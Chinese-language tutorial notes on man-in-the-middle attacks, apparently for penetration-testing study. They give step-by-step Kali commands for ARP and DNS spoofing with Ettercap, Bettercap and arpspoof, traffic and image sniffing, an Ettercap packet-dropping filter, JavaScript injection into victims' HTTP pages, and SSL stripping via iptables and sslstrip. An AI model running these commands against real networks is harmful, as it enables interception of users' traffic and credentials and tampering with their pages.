1. 中间人攻击概述
定义:攻击者插入通信的双方之间,截取、修改或者伪造它们的通信内容。
种类:
(1)ARP 欺骗
利用 ARP 协议的缺陷,使得攻击者可以伪造 MAC 地址,欺骗网络中的其他主机。
(2)DNS 欺骗
利用 DNS 的缺陷,使得攻击者可以伪造 IP 地址,欺骗网络中的其他主机。
2. Ettercap 框架
综合性中间人攻击工具。
(1)开启
kali 终端输入如下命令
bash
ettercap -G

(2)选项介绍
- 启动嗅探
- 设置主接口:对该接口内的主机进行中间人攻击
- 开启桥接接口嗅探
- 设置桥接接口

2.1 执行 arp 欺骗
(1)kali 开启内核转发功能
bash
echo 1 > /proc/sys/net/ipv4/ip_forward
(2)嗅探主机
获取目标网络中的主机列表和网关信息

(3)选择目标主机

(4)开始 ARP 欺骗


(5)捕获数据包
Ettercap 只能开启 arp 欺骗,不能查看捕获的数据包。
- tcpdump 捕获
bash
tcpdump -i eth0 host ARP欺骗目标IP地址
- driftnet 抓取图片
bash
apt-get install driftnet
driftnet -i eth0
driftnet -i eth0 -a -d 文件目录
只能抓取未经过加密的数据包中的图片
- urlsnarf 捕获URL地址
bash
urlsnarf -i eth0

2.2 执行 dns 欺骗
执行 dns 欺骗前,需要先进行 arp 欺骗,成为中间人
(1)编辑 /etc/ettercap/etter.dns 文件,添加要欺骗的 dns 记录
bash
......
# vim:ts=8:noexpandtab
* A 192.168.18.22
(2)开启 apache 服务器
bash
service apache2 start
使得目标主机访问网页的请求通过 dns 记录解析为本机的网站
(3)使用 dns_spoof 插件

2.3 内容过滤
对数据包进行修改或者丢弃,例如:替换网页内容、注入 JavaScript 代码、修改图片、拦截邮件等。
(1)新建脚本文件
以过滤 80 号端口请求为例,新建 killwifi.filter
bash
if (ip.proto == TCP && tcp.src == 80 ) //设置过滤请求
{
kill();
drop(); //删除该数据包
msg("kill 80 \n"); //提示消息
}
(2)编译脚本
bash
etterfilter killwifi.filter -o killwifi.ef
(3)加载脚本

3. Bettercap 框架
对Wi-Fi网络、蓝牙设备、无线HID以及IPv4/IPv6网络进行侦查和中间人攻击
bash
apt-get install bettercap
bettercap # 启动交互模式
3.1 执行 arp 欺骗
假设攻击者主机的IP地址是192.168.18.17,目标主机的IP地址是192.168.18.13,网关的IP地址是192.168.18.1
(1)使用 arp.spoof 模块
bash
set arp.spoof.targets 192.168.18.13
set arp.spoof.fullduplex true # 设置双向 arp 欺骗,同时欺骗目标主机和网关
arp.spoof on # 启动 arp 欺骗
net.sniff on # 启动流量嗅探
arp.spoof off
3.2 执行 dns 欺骗
假设攻击者主机的IP地址是192.168.8.138,目标主机的IP地址是192.168.8.142,网关的IP地址是192.168.8.1
(1)启动 arp 欺骗
bash
set arp.spoof.targets 192.168.8.142
arp.spoof on
(2)启动 dns 欺骗
bash
set dns.spoof.domains dns欺骗的域名
set dns.spoof.address 192.168.8.138 # 设置 dns 欺骗的 ip 地址
dns.spoof on
net.sniff on
3.3 注入脚本
使用 Bettercap的http.proxy 模块,可以建立一个 Javascript 文件实现的 http 透明代理。
进行 arp 欺骗后,可以通过这个代理向目标主机浏览的 http 页面注入 Javascript 脚本。
bash
setarp.spoof.targets 192.168.8.142
set http.proxy.script/root/xss.js
arp.spoof on
http.proxy on
目标主机访问任何网页,触发 xss.js 脚本。
3.4 CAP 文件
Bettercap 脚本文件
bash
bettercap -caplet example.cap
caplets.update
caplets.show
4. arpspoof 发起中间人攻击
进行 arp 欺骗的工具,通过伪造 arp 应答包,使得目标主机或所有主机误认为攻击者的主机是网关。
轻量级、易于使用。
(1)开启 ip 转发功能
bash
echo 1 > /proc/sys/net/ipv4/ip_forward
(2)开启 arp 欺骗
bash
arpspoof -i eth1 -t 目标主机ip地址 网关ip地址
(3)捕获数据包
bash
tcpdump -i eth1 tcp port 80 and host 目标主机ip地址
5. SSL 攻击
ssl 是一种安全传输协议,TLS 是 SSL 的后续版本。使用了对称加密、非对称加密、数字签名等技术。
5.1 SSL 漏洞检测
- testssl 工具
检测任何端口上的 tls/ssl 加密服务。
bash
wget https://testssl.sh/testssl.sh
chmod +x testssl.sh
/testssl.sh 域名或IP地址
/testssl.sh --heartbleed 域名或IP地址 # 检测特定的漏洞
- SSLScan 工具
依赖 OpenSSL 库,功能有局限性。
bash
sslscan 域名或IP地址
5.2 SSL 中间人攻击
原理:在客户端于服务器之间插入一个代理,伪造服务器的证书给客户端,形成基于HTTPS的代理
(1)开启 ip 转发功能
bash
echo 1 > /proc/sys/net/ipv4/ip_forward
(2)将 HTTP 流量重定向到 SSLStrip 工具
bash
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 5353
(3)监听降级客户端与服务器间的 ssl 通信
bash
sslstrip -l 5353
(4)执行 arp 欺骗
bash
ettercap -i eth1 -TqM arp:remote //192.168.8.1/ //192.168.8.143/
此时,目标主机访问 https 网页时重定向为 http